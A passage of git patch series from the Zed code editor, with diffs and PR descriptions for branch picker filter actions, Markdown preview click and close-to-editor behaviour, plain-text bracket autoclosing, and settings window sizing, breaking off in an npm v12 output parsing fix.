-                        ["origin/main", "fork/feature-auth"]
-                            .into_iter()
-                            .collect::<HashSet<_>>()
-                    );
+                        .map(|entry| entry.name())
+                        .collect::<HashSet<_>>(),
+                    ["feature-ui", "develop"].into_iter().collect()
+                );
+                picker.delegate.branch_filter = BranchFilter::Remote;
+            })
+        });
 
-                    // Verify the last entry is NOT the "create new branch" option
-                    let last_match = picker.delegate.matches.last().unwrap();
-                    assert!(!last_match.is_new_url());
+        update_branch_list_matches_with_empty_query(&branch_list, cx).await;
+
+        branch_list.update(cx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _cx| {
+                assert_eq!(picker.delegate.matches.len(), 2);
+                let branches = picker
+                    .delegate
+                    .matches
+                    .iter()
+                    .map(|be| be.name())
+                    .collect::<HashSet<_>>();
+                assert_eq!(
+                    branches,
+                    ["origin/main", "fork/feature-auth"]
+                        .into_iter()
+                        .collect::<HashSet<_>>()
+                );
+
+                // Verify the last entry is NOT the "create new branch" option
+                let last_match = picker.delegate.matches.last().unwrap();
+                assert!(!last_match.is_new_url());
+            })
+        });
+
+        branch_list
+            .update_in(cx, |branch_list, window, cx| {
+                branch_list.picker.update(cx, |picker, cx| {
                     picker.delegate.branch_filter = BranchFilter::Remote;
                     picker
                         .delegate
@@ -2703,6 +2864,26 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_branch_filter_is_restored_for_new_pickers(cx: &mut TestAppContext) {
+        init_test(cx);
+        cx.update(|cx| cx.set_global(GlobalBranchFilter(BranchFilter::Local)));
+
+        let (branch_list, mut ctx) = init_branch_list_test(None, create_test_branches(), cx).await;
+        branch_list.update(&mut ctx, |branch_list, cx| {
+            branch_list.picker.update(cx, |picker, _| {
+                assert!(picker.delegate.branch_filter == BranchFilter::Local);
+            });
+        });
+    }
+
+    #[test]
+    fn test_branch_filter_cycle() {
+        assert!(BranchFilter::All.next() == BranchFilter::Local);
+        assert!(BranchFilter::Local.next() == BranchFilter::Remote);
+        assert!(BranchFilter::Remote.next() == BranchFilter::All);
+    }
+
     #[gpui::test]
     async fn test_new_branch_creation_with_query(cx: &mut TestAppContext) {
         const MAIN_BRANCH: &str = "main";
diff --git a/crates/git_ui/src/git_picker.rs b/crates/git_ui/src/git_picker.rs
index c972deb08568f1..5fc565dd43f2e6 100644
--- a/crates/git_ui/src/git_picker.rs
+++ b/crates/git_ui/src/git_picker.rs
@@ -12,7 +12,10 @@ use ui::{
 };
 use workspace::{ModalView, Workspace, pane};
 
-use crate::branch_picker::{self, BranchList, DeleteBranch, FilterRemotes, ForceDeleteBranch};
+use crate::branch_picker::{
+    self, BranchList, CycleBranchFilter, DeleteBranch, ForceDeleteBranch, ShowAllBranches,
+    ShowLocalBranches, ShowRemoteBranches,
+};
 use crate::stash_picker::{self, DropStashItem, ShowStashItem, StashList};
 
 actions!(git_picker, [ActivateBranchesTab, ActivateStashTab,]);
@@ -308,15 +311,55 @@ impl GitPicker {
         }
     }
 
-    fn handle_filter_remotes(
+    fn set_active_branch_filter(
+        &mut self,
+        branch_filter: branch_picker::BranchFilter,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        if let Some(branch_list) = &self.branch_list {
+            branch_list.update(cx, |list, cx| {
+                list.set_branch_filter(branch_filter, window, cx);
+            });
+        }
+    }
+
+    fn handle_show_all_branches(
+        &mut self,
+        _: &ShowAllBranches,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_active_branch_filter(branch_picker::BranchFilter::All, window, cx);
+    }
+
+    fn handle_show_local_branches(
+        &mut self,
+        _: &ShowLocalBranches,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_active_branch_filter(branch_picker::BranchFilter::Local, window, cx);
+    }
+
+    fn handle_show_remote_branches(
+        &mut self,
+        _: &ShowRemoteBranches,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        self.set_active_branch_filter(branch_picker::BranchFilter::Remote, window, cx);
+    }
+
+    fn handle_cycle_branch_filter(
         &mut self,
-        _: &FilterRemotes,
+        _: &CycleBranchFilter,
         window: &mut Window,
         cx: &mut Context<Self>,
     ) {
         if let Some(branch_list) = &self.branch_list {
             branch_list.update(cx, |list, cx| {
-                list.handle_filter(&FilterRemotes, window, cx);
+                list.cycle_branch_filter(window, cx);
             });
         }
     }
@@ -377,7 +420,14 @@ impl Render for GitPicker {
             .elevation_3(cx)
             .overflow_hidden()
             .when(self.popover_style, |el| {
-                el.on_mouse_down_out(cx.listener(|_, _, _, cx| {
+                el.on_mouse_down_out(cx.listener(|this, _, _, cx| {
+                    if this
+                        .branch_list
+                        .as_ref()
+                        .is_some_and(|branch_list| branch_list.read(cx).branch_filter_menu_open(cx))
+                    {
+                        return;
+                    }
                     cx.emit(DismissEvent);
                 }))
             })
@@ -421,7 +471,10 @@ impl Render for GitPicker {
             .when(self.tab == GitPickerTab::Branches, |el| {
                 el.on_action(cx.listener(Self::handle_delete_branch))
                     .on_action(cx.listener(Self::handle_force_delete_branch))
-                    .on_action(cx.listener(Self::handle_filter_remotes))
+                    .on_action(cx.listener(Self::handle_show_all_branches))
+                    .on_action(cx.listener(Self::handle_show_local_branches))
+                    .on_action(cx.listener(Self::handle_show_remote_branches))
+                    .on_action(cx.listener(Self::handle_cycle_branch_filter))
             })
             .when(self.tab == GitPickerTab::Stashes, |el| {
                 el.on_action(cx.listener(Self::handle_drop_stash))

From 8c29f9e2ecbea8b2868c5ff1d41b9c2ed5b3e5c1 Mon Sep 17 00:00:00 2001
From: feeiyu <158308373+feeiyu@users.noreply.github.com>
Date: Mon, 13 Jul 2026 05:44:02 +0800
Subject: [PATCH 401/772] Fix double-click text selection and tab bar flicker
 in Markdown preview (#60817)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Fixes #60812

Previously, double-clicking in the preview updated the source editor
selection/cursor position, moved focus to the source editor, and stopped
the event from propagating. This prevented normal text selection in the
preview. When the source editor was in the same pane but not the active
tab, focus was then restored back to the preview, causing the tab/tab
bar to flicker.
## Solution

Update the source editor selection/cursor position on single-click
instead of double-click, while keeping focus in the Markdown preview.
This leaves double-click behavior available for normal text selection in
the preview.
- This approach keeps Markdown preview interactions consistent with
common text behavior: double-clicking text should select the word/text
under the cursor..
- The source editor selection/cursor position is still updated on
single-click so the preview can continue to keep the source editor in
sync with the location the user is inspecting.

## Testing

Manually tested the Markdown preview click behavior.

I also tried adding a regression test using `simulate_event` to simulate
mouse events, but I could not find a reliable API for locating the
rendered text position inside the Markdown preview. Because of that,
this was validated manually.

Manual test steps:

1. Open a Markdown file.
2. Open the Markdown preview for that file.
3. Keep the source editor and Markdown preview as separate tabs in the
same pane.
4. Activate the Markdown preview tab.
5. Single-click text in the Markdown preview.
   - Confirm the source editor selection/cursor position is updated.
   - Confirm focus remains in the Markdown preview.
   - Confirm the tab bar does not flicker.
6. Double-click text in the Markdown preview.
   - Confirm the text in the preview is selected.
   - Confirm focus remains in the Markdown preview.
   - Confirm the tab bar does not flicker.
## Self-Review Checklist:

- [X] I've reviewed my own diff for quality, security, and reliability
- [X] Unsafe blocks (if any) have justifying comments
- [X] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [X] Performance impact has been considered and is acceptable

## Showcase

after change:

[录屏 2026-07-11
23-44-16.webm](https://github.com/user-attachments/assets/616d1ed3-5802-402f-8499-4864b149c550)

---

Release Notes:

- Fixed double-click text selection and tab bar flicker in Markdown
preview.
---
 .../src/markdown_preview_view.rs              | 24 ++++++++++++-------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 81349a59f3bbee..631b9511f87667 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -596,9 +596,10 @@ impl MarkdownPreviewView {
         });
     }
 
-    fn move_cursor_to_source_index(
+    fn change_selection_to_source_index(
         editor: &Entity<Editor>,
         source_index: usize,
+        move_focus: bool,
         window: &mut Window,
         cx: &mut App,
     ) {
@@ -610,7 +611,9 @@ impl MarkdownPreviewView {
                 cx,
                 |selections| selections.select_ranges(vec![selection]),
             );
-            window.focus(&editor.focus_handle(cx), cx);
+            if move_focus {
+                window.focus(&editor.focus_handle(cx), cx);
+            }
         });
     }
 
@@ -882,12 +885,16 @@ impl MarkdownPreviewView {
             let view_handle = cx.entity().downgrade();
             markdown_element = markdown_element
                 .on_source_click(move |source_index, click_count, window, cx| {
-                    if click_count == 2 {
-                        Self::move_cursor_to_source_index(&active_editor, source_index, window, cx);
-                        true
-                    } else {
-                        false
+                    if click_count == 1 {
+                        Self::change_selection_to_source_index(
+                            &active_editor,
+                            source_index,
+                            false,
+                            window,
+                            cx,
+                        );
                     }
+                    false
                 })
                 .on_checkbox_toggle(move |source_range, new_checked, window, cx| {
                     Self::apply_checkbox_toggle_to_editor(
@@ -976,9 +983,10 @@ fn handle_url_click(
 
                     if let Some(source_index) = source_index {
                         if let Some(editor) = active_editor {
-                            MarkdownPreviewView::move_cursor_to_source_index(
+                            MarkdownPreviewView::change_selection_to_source_index(
                                 &editor,
                                 source_index,
+                                true,
                                 window,
                                 cx,
                             );

From 869d6eae2277be4a8047437cae6d7b336bb4801c Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Mon, 13 Jul 2026 03:16:59 +0530
Subject: [PATCH 402/772] language: Autoclose nested brackets in plain text
 (#60841)

in a plain text file, cursor before a closing bracket, type an opening
one and nothing autocloses. `anything|)` + `[` gives `anything[|)` not
`anything[]|)`. fine in js/css/py.

autoclose checks the language's `autoclose_before` set. every language
sets one, plain text didn't, so a closing bracket ahead of the cursor
killed it. gave it `)]}`.

went `)]}` not the usual `;:.,=}])>` since plain text only has brackets.
`.typ` (Typst) is a separate extension, needs the same fix there.

Fixes #60560.

Release Notes:

- Fixed nested brackets not auto-closing in plain text files
---
 crates/editor/src/editor_tests.rs | 25 ++++++++++++++++++++++++-
 crates/language/src/language.rs   |  1 +
 2 files changed, 25 insertions(+), 1 deletion(-)

diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 2a4ac54cf59fc4..43b30c471a2690 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -27,7 +27,7 @@ use language::{
     Capability::ReadWrite,
     ContextLocation, ContextProvider, DiagnosticSourceKind, FakeLspAdapter, IndentGuideSettings,
     LanguageConfig, LanguageConfigOverride, LanguageMatcher, LanguageName, LanguageQueries,
-    LanguageToolchainStore, Override, Point,
+    LanguageToolchainStore, Override, PLAIN_TEXT, Point,
     language_settings::{
         CompletionSettingsContent, FormatOnSave, FormatterList, LanguageSettingsContent,
         LspInsertMode,
@@ -12955,6 +12955,29 @@ async fn test_autoindent_selections(cx: &mut TestAppContext) {
     }
 }
 
+#[gpui::test]
+async fn test_autoclose_nested_brackets_in_plain_text(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+    let mut cx = EditorTestContext::new(cx).await;
+
+    let language = PLAIN_TEXT.clone();
+    cx.language_registry().add(language.clone());
+    cx.update_buffer(|buffer, cx| {
+        buffer.set_language(Some(language), cx);
+    });
+
+    cx.set_state("ˇ");
+
+    // Typing an opening bracket right before an existing closing bracket should
+    // still autoclose, not skip because the following char is `)`.
+    cx.update_editor(|editor, window, cx| {
+        editor.handle_input("(", window, cx);
+        editor.handle_input("[", window, cx);
+        editor.handle_input("{", window, cx);
+    });
+    cx.assert_editor_state("([{ˇ}])");
+}
+
 #[gpui::test]
 async fn test_autoclose_and_auto_surround_pairs(cx: &mut TestAppContext) {
     init_test(cx, |_| {});
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index 6a799b62d32206..f15b241b2964c6 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -164,6 +164,7 @@ pub static PLAIN_TEXT: LazyLock<Arc<Language>> = LazyLock::new(|| {
         LanguageConfig {
             name: "Plain Text".into(),
             soft_wrap: Some(SoftWrap::EditorWidth),
+            autoclose_before: ")]}".into(),
             matcher: LanguageMatcher {
                 path_suffixes: vec!["txt".to_owned()],
                 first_line_pattern: None,

From c343997ca8801422442fff117e66bead7dd3e693 Mon Sep 17 00:00:00 2001
From: Finn Eitreim <48069764+feitreim@users.noreply.github.com>
Date: Sun, 12 Jul 2026 17:48:38 -0400
Subject: [PATCH 403/772] settings_ui: Shrink constraint on minimum window
 width (#60786)

# Objective

Right now the minimum width of the settings window is 900px, this makes
it so that when I open it with my window manager (aerospace), it goes
off the screen on the right side.


https://github.com/user-attachments/assets/e47c1f13-0b5c-49e1-9a1e-4d3b494eca8d

## Solution

There is a comment, that says:
```
// Don't make the settings window thinner than this,
// otherwise, it gets unusable. Users with smaller res monitors
// can customize the height, but not the width.
width: px(900.0),
height: px(240.0),
```
the comment and limit was added in #44505, which added the edit
prediction provider ui. Now in the past, in #51878 I fixed a bug with
the way that the edit prediction provider and some of the other sub menu
type pages in the settings menu displayed. There isn't really any record
of what specifically made the window unusable below 900px besides the
issue that I fixed in #51878.

## Testing

I tested it by just sort of poking around the different settings pages,
especially the ones I fixed in #51878, and every thing seems totally
fine to me. That said I haven't exhaustively checked every page and if
there was any more information on what that comment was referring to
that would be awesome.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

How it looks after the change:


https://github.com/user-attachments/assets/9258f51f-5da5-4f4c-997d-7f09a3448e4b

---

Release Notes:

- settings_ui: Allowed window widths below 900px
---
 crates/settings_ui/src/settings_ui.rs | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 35f816d649b0ed..b3c0b5b337b7eb 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -870,10 +870,7 @@ fn open_settings_editor_with(
                 app_id: Some(app_id.to_owned()),
                 window_decorations: Some(window_decorations),
                 window_min_size: Some(gpui::Size {
-                    // Don't make the settings window thinner than this,
-                    // otherwise, it gets unusable. Users with smaller res monitors
-                    // can customize the height, but not the width.
-                    width: px(900.0),
+                    width: px(360.0),
                     height: px(240.0),
                 }),
                 window_bounds: Some(WindowBounds::centered(scaled_bounds, cx)),

From 5b7b970d08eb273af8e0e74e6a389be8384b21b1 Mon Sep 17 00:00:00 2001
From: Nils Petersohn <snackycracky@users.noreply.github.com>
Date: Mon, 13 Jul 2026 00:11:56 +0200
Subject: [PATCH 404/772] feature: toggle markdown preview and source (#60867)

Toggle Markdown Preview with the Existing Preview Shortcut

## Context

Markdown files already expose actions for opening a rendered preview in
the current pane or to the side. The current-pane preview action focuses
the preview, but there was no matching keyboard path from the preview
back to the source editor.

Users expect the existing preview shortcut to behave like a mode toggle:
press it from the editor to preview, then press it again from the
preview to return to editing. The existing preview view keeps a handle
to its source editor, so the preview can return focus to that editor
without adding a broader workspace-level toggle.

## Feature

Add a markdown-preview-scoped action,
`markdown::CloseAndReturnToEditor`, and bind the existing preview
shortcut to complementary actions:

- In a markdown editor, `ctrl-shift-v` on Linux and Windows, or
`cmd-shift-v` on macOS, dispatches `markdown::OpenPreview`.
- In a markdown preview, the same platform shortcut dispatches
`markdown::CloseAndReturnToEditor`.

The close action first activates and focuses the source editor. If the
source editor entity is no longer open in any pane, the action adds it
back to the active pane before closing the preview. The preview is
closed with `SaveIntent::Skip` because the preview is not the owner of
source-buffer changes.

Existing markdown preview shortcuts remain available.

## Alternatives

- Bind `escape` to close the preview. This is easy to discover, but it
does not provide a symmetric editor/preview toggle and can overlap with
transient UI such as search.
- Add a new dedicated toggle chord, such as `ctrl-alt-v` / `cmd-alt-v`.
This avoids changing the preview shortcut's meaning in the preview
context, but it makes users learn a second shortcut for the same
preview/edit workflow.
- Teach `markdown::OpenPreview` to toggle based on the active item. That
would mix editor-scoped preview creation with preview-scoped close
behavior and make the action depend on more workspace state.

## Consequences

- The toggle behavior is implemented by context-specific keybindings
rather than one action that changes meaning globally.
- Returning to edit mode works even when the original editor tab has
been closed while the preview remains open.
- The preview close path has focused GPUI tests because it relies on
pane activation, focus restoration, and asynchronous item closing.

Release Notes:

- Add a markdown action to close the current preview and focus the
related source file
---
 assets/keymaps/default-linux.json             |   1 +
 assets/keymaps/default-macos.json             |   3 +-
 assets/keymaps/default-windows.json           |   1 +
 .../markdown_preview/src/markdown_preview.rs  |   4 +-
 .../src/markdown_preview_view.rs              | 219 +++++++++++++++++-
 5 files changed, 223 insertions(+), 5 deletions(-)

diff --git a/assets/keymaps/default-linux.json b/assets/keymaps/default-linux.json
index 4c3507b746b2cb..0e9ec9eda701a5 100644
--- a/assets/keymaps/default-linux.json
+++ b/assets/keymaps/default-linux.json
@@ -1325,6 +1325,7 @@
       "alt-down": "markdown::ScrollDownByItem",
       "ctrl-home": "markdown::ScrollToTop",
       "ctrl-end": "markdown::ScrollToBottom",
+      "ctrl-shift-v": "markdown::CloseAndReturnToEditor",
       "find": "buffer_search::Deploy",
       "ctrl-f": "buffer_search::Deploy",
     },
diff --git a/assets/keymaps/default-macos.json b/assets/keymaps/default-macos.json
index 012314c9a2aba7..e1f30d0a03be5f 100644
--- a/assets/keymaps/default-macos.json
+++ b/assets/keymaps/default-macos.json
@@ -650,7 +650,7 @@
     "use_key_equivalents": true,
     "bindings": {
       "cmd-k v": "markdown::OpenPreviewToTheSide",
-      "cmd-shift-v": "markdown::OpenPreview",
+      "cmd-shift-v": "markdown::OpenPreview"
     },
   },
   {
@@ -1416,6 +1416,7 @@
       "alt-down": "markdown::ScrollDownByItem",
       "cmd-up": "markdown::ScrollToTop",
       "cmd-down": "markdown::ScrollToBottom",
+      "cmd-shift-v": "markdown::CloseAndReturnToEditor",
       "cmd-f": "buffer_search::Deploy",
     },
   },
diff --git a/assets/keymaps/default-windows.json b/assets/keymaps/default-windows.json
index d9c01221c71201..0e3932a7dba845 100644
--- a/assets/keymaps/default-windows.json
+++ b/assets/keymaps/default-windows.json
@@ -1347,6 +1347,7 @@
       "alt-down": "markdown::ScrollDownByItem",
       "ctrl-home": "markdown::ScrollToTop",
       "ctrl-end": "markdown::ScrollToBottom",
+      "ctrl-shift-v": "markdown::CloseAndReturnToEditor",
       "find": "buffer_search::Deploy",
       "ctrl-f": "buffer_search::Deploy",
     },
diff --git a/crates/markdown_preview/src/markdown_preview.rs b/crates/markdown_preview/src/markdown_preview.rs
index caf516b212f318..0734b4c5016788 100644
--- a/crates/markdown_preview/src/markdown_preview.rs
+++ b/crates/markdown_preview/src/markdown_preview.rs
@@ -30,7 +30,9 @@ actions!(
         /// Scrolls to the bottom of the markdown preview.
         ScrollToBottom,
         /// Opens a following markdown preview that syncs with the editor.
-        OpenFollowingPreview
+        OpenFollowingPreview,
+        /// Closes the markdown preview and returns focus to the source editor.
+        CloseAndReturnToEditor
     ]
 );
 
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index 631b9511f87667..d8cfc4f26c7e14 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -32,12 +32,13 @@ use workspace::notifications::NotifyResultExt;
 use workspace::searchable::{
     Direction, SearchEvent, SearchOptions, SearchToken, SearchableItem, SearchableItemHandle,
 };
-use workspace::{ItemId, Pane, Workspace, WorkspaceId, delete_unloaded_items};
+use workspace::{ItemId, Pane, SaveIntent, Workspace, WorkspaceId, delete_unloaded_items};
 use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
 
 use crate::markdown_preview_settings::MarkdownPreviewSettings;
 use crate::{
-    OpenFollowingPreview, OpenPreview, OpenPreviewToTheSide, ScrollDown, ScrollDownByItem,
+    CloseAndReturnToEditor, OpenFollowingPreview, OpenPreview, OpenPreviewToTheSide, ScrollDown,
+    ScrollDownByItem,
 };
 use crate::{ScrollPageDown, ScrollPageUp, ScrollToBottom, ScrollToTop, ScrollUp, ScrollUpByItem};
 
@@ -806,6 +807,40 @@ impl MarkdownPreviewView {
         cx.notify();
     }
 
+    fn close_and_return_to_editor(
+        &mut self,
+        _: &CloseAndReturnToEditor,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        let Some(editor) = self
+            .active_editor
+            .as_ref()
+            .map(|state| state.editor.clone())
+        else {
+            return;
+        };
+        let Some(workspace) = self.workspace.upgrade() else {
+            return;
+        };
+        let preview_id = cx.entity_id();
+
+        window.defer(cx, move |window, cx| {
+            workspace.update(cx, |workspace, cx| {
+                if !workspace.activate_item(&editor, true, true, window, cx) {
+                    workspace.add_item_to_active_pane(Box::new(editor), None, true, window, cx);
+                }
+
+                if let Some(pane) = workspace.pane_for_item_id(preview_id) {
+                    pane.update(cx, |pane, cx| {
+                        pane.close_item_by_id(preview_id, SaveIntent::Skip, window, cx)
+                    })
+                    .detach_and_log_err(cx);
+                }
+            });
+        });
+    }
+
     /// Returns the theme chosen in `markdown_preview_theme`, or `None` if the
     /// user hasn't set one or it can't be resolved.
     fn resolve_preview_theme(&self, cx: &App) -> Option<Arc<Theme>> {
@@ -1246,6 +1281,7 @@ impl Render for MarkdownPreviewView {
             .on_action(cx.listener(MarkdownPreviewView::scroll_down_by_item))
             .on_action(cx.listener(MarkdownPreviewView::scroll_to_top))
             .on_action(cx.listener(MarkdownPreviewView::scroll_to_bottom))
+            .on_action(cx.listener(MarkdownPreviewView::close_and_return_to_editor))
             .on_action(cx.listener(MarkdownPreviewView::increase_font_size))
             .on_action(cx.listener(MarkdownPreviewView::decrease_font_size))
             .on_action(cx.listener(MarkdownPreviewView::reset_font_size))
@@ -1626,12 +1662,13 @@ mod persistence {
 
 #[cfg(test)]
 mod tests {
+    use crate::CloseAndReturnToEditor;
     use crate::markdown_preview_view::ImageSource;
     use crate::markdown_preview_view::Resource;
     use crate::markdown_preview_view::resolve_preview_image;
     use buffer_diff::BufferDiff;
     use editor::Editor;
-    use gpui::{AppContext as _, Entity, TestAppContext};
+    use gpui::{AppContext as _, Entity, Focusable as _, TestAppContext, WindowHandle};
     use serde_json::json;
     use std::path::PathBuf;
     use std::sync::Arc;
@@ -1913,6 +1950,69 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn close_and_return_to_editor_closes_preview_and_focuses_source_editor(
+        cx: &mut TestAppContext,
+    ) {
+        let (multi_workspace, editor) =
+            open_markdown_file(cx, "note.md", "# Note\n\nBody text\n").await;
+        let preview = open_preview_for_active_editor(cx, &multi_workspace);
+        cx.run_until_parked();
+
+        dispatch_close_and_return_to_editor(cx, &multi_workspace, &preview);
+        cx.run_until_parked();
+
+        assert_editor_is_active_and_focused(cx, &multi_workspace, &editor);
+        assert_no_markdown_preview_items(cx, &multi_workspace);
+    }
+
+    #[gpui::test]
+    async fn close_and_return_to_editor_reopens_source_editor_when_editor_tab_was_closed(
+        cx: &mut TestAppContext,
+    ) {
+        let (multi_workspace, editor) = open_markdown_file(cx, "note.md", "# Note\n").await;
+        let preview = open_preview_for_active_editor(cx, &multi_workspace);
+        cx.run_until_parked();
+
+        let close_editor_task = multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                multi_workspace.workspace().update(cx, |workspace, cx| {
+                    workspace.active_pane().update(cx, |pane, cx| {
+                        pane.close_item_by_id(editor.entity_id(), SaveIntent::Skip, window, cx)
+                    })
+                })
+            })
+            .unwrap();
+        close_editor_task.await.unwrap();
+        cx.run_until_parked();
+
+        multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().read(cx);
+                assert!(
+                    preview.read(cx).focus_handle.contains_focused(window, cx),
+                    "preview should remain focused after closing the source editor tab"
+                );
+                assert!(
+                    workspace
+                        .items_of_type::<Editor>(cx)
+                        .all(|open_editor| open_editor != editor),
+                    "source editor should no longer be open in any pane"
+                );
+                assert_eq!(
+                    workspace.items_of_type::<MarkdownPreviewView>(cx).count(),
+                    1
+                );
+            })
+            .unwrap();
+
+        dispatch_close_and_return_to_editor(cx, &multi_workspace, &preview);
+        cx.run_until_parked();
+
+        assert_editor_is_active_and_focused(cx, &multi_workspace, &editor);
+        assert_no_markdown_preview_items(cx, &multi_workspace);
+    }
+
     #[gpui::test]
     async fn preview_serialized_path_updates_when_source_file_is_renamed(cx: &mut TestAppContext) {
         let app_state = init_test(cx);
@@ -2260,6 +2360,119 @@ mod tests {
         );
     }
 
+    async fn open_markdown_file(
+        cx: &mut TestAppContext,
+        file_name: &str,
+        contents: &str,
+    ) -> (WindowHandle<MultiWorkspace>, Entity<Editor>) {
+        let app_state = init_test(cx);
+        let mut entries = serde_json::Map::new();
+        entries.insert(file_name.to_string(), json!(contents));
+        app_state
+            .fs
+            .as_fake()
+            .insert_tree(path!("/dir"), serde_json::Value::Object(entries))
+            .await;
+
+        cx.update(|cx| {
+            open_paths(
+                &[PathBuf::from(path!("/dir")).join(file_name)],
+                app_state.clone(),
+                workspace::OpenOptions::default(),
+                cx,
+            )
+        })
+        .await
+        .unwrap();
+
+        let multi_workspace = cx.update(|cx| cx.windows()[0].downcast::<MultiWorkspace>().unwrap());
+        let editor = multi_workspace
+            .update(cx, |multi_workspace, _, cx| {
+                multi_workspace
+                    .workspace()
+                    .read(cx)
+                    .active_item_as::<Editor>(cx)
+                    .unwrap()
+            })
+            .unwrap();
+        (multi_workspace, editor)
+    }
+
+    fn open_preview_for_active_editor(
+        cx: &mut TestAppContext,
+        multi_workspace: &WindowHandle<MultiWorkspace>,
+    ) -> Entity<MarkdownPreviewView> {
+        multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().clone();
+                workspace.update(cx, |workspace, cx| {
+                    let editor: Entity<Editor> = workspace.active_item_as(cx).unwrap();
+                    let preview =
+                        MarkdownPreviewView::create_markdown_view(workspace, editor, window, cx);
+                    workspace.active_pane().update(cx, |pane, cx| {
+                        pane.add_item(Box::new(preview.clone()), true, true, None, window, cx)
+                    });
+                    preview
+                })
+            })
+            .unwrap()
+    }
+
+    fn dispatch_close_and_return_to_editor(
+        cx: &mut TestAppContext,
+        multi_workspace: &WindowHandle<MultiWorkspace>,
+        preview: &Entity<MarkdownPreviewView>,
+    ) {
+        multi_workspace
+            .update(cx, |_, window, cx| {
+                assert!(
+                    preview.read(cx).focus_handle.contains_focused(window, cx),
+                    "preview must be focused for the keyboard action to dispatch to it"
+                );
+                window.dispatch_action(Box::new(CloseAndReturnToEditor), cx);
+            })
+            .unwrap();
+    }
+
+    fn assert_editor_is_active_and_focused(
+        cx: &mut TestAppContext,
+        multi_workspace: &WindowHandle<MultiWorkspace>,
+        expected_editor: &Entity<Editor>,
+    ) {
+        multi_workspace
+            .update(cx, |multi_workspace, window, cx| {
+                let workspace = multi_workspace.workspace().read(cx);
+                let active_editor = workspace.active_item_as::<Editor>(cx).unwrap();
+                assert_eq!(active_editor, *expected_editor);
+                assert!(
+                    expected_editor
+                        .read(cx)
+                        .focus_handle(cx)
+                        .contains_focused(window, cx),
+                    "source editor should be focused"
+                );
+            })
+            .unwrap();
+    }
+
+    fn assert_no_markdown_preview_items(
+        cx: &mut TestAppContext,
+        multi_workspace: &WindowHandle<MultiWorkspace>,
+    ) {
+        multi_workspace
+            .update(cx, |multi_workspace, _, cx| {
+                assert_eq!(
+                    multi_workspace
+                        .workspace()
+                        .read(cx)
+                        .items_of_type::<MarkdownPreviewView>(cx)
+                        .count(),
+                    0
+                );
+            })
+            .unwrap();
+    }
+
     fn init_test(cx: &mut TestAppContext) -> Arc<AppState> {
         cx.update(|cx| {
             let state = AppState::test(cx);

From 8c4550cb95d88a1841a1d6cfcf5e092d313745a1 Mon Sep 17 00:00:00 2001
From: Vitaly Slobodin <vitaliy.slobodin@gmail.com>
Date: Mon, 13 Jul 2026 00:23:53 +0200
Subject: [PATCH 405/772] node_runtime: Fix npm v12 output deserialization
 (#60798)

# Objective

- Fix npm v12 output deserialization
- Fixes #60705

## Solution

Initially I was thinking about checking the `npm` version and then
parsing its output accordingly but that would
include a call to `npm --version`. Zed's mojo is to be blazingly fast so
just checking the structure of the output should be enough:

1. `npm info --json` in v12 produces an array with 1 object: `[ {
"name": "something" } ]`
2. `npm info --json` in v11 and older produces an object: `{ "name":
"something" }`

So the trick is to check the output: if it's an array, we have npm v12,
otherwise npm v11.

## Testing

- Did you test these changes? If so, how?

   1. Ensure you have `npm` v12 installed.
2. Install a Node.js based language server, for example, `markdownlint`
or `oxfmt`
   3. Open a project and trigger start of a language server

- Are there any parts that need more testing?

   no

- How can other people (reviewers) test your changes? Is there anything
specific they need to know?

   Use steps above

- If relevant, what platforms did you test these changes on, and are
there any important ones you can't test?

   I've tested this on macOS and Linux.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
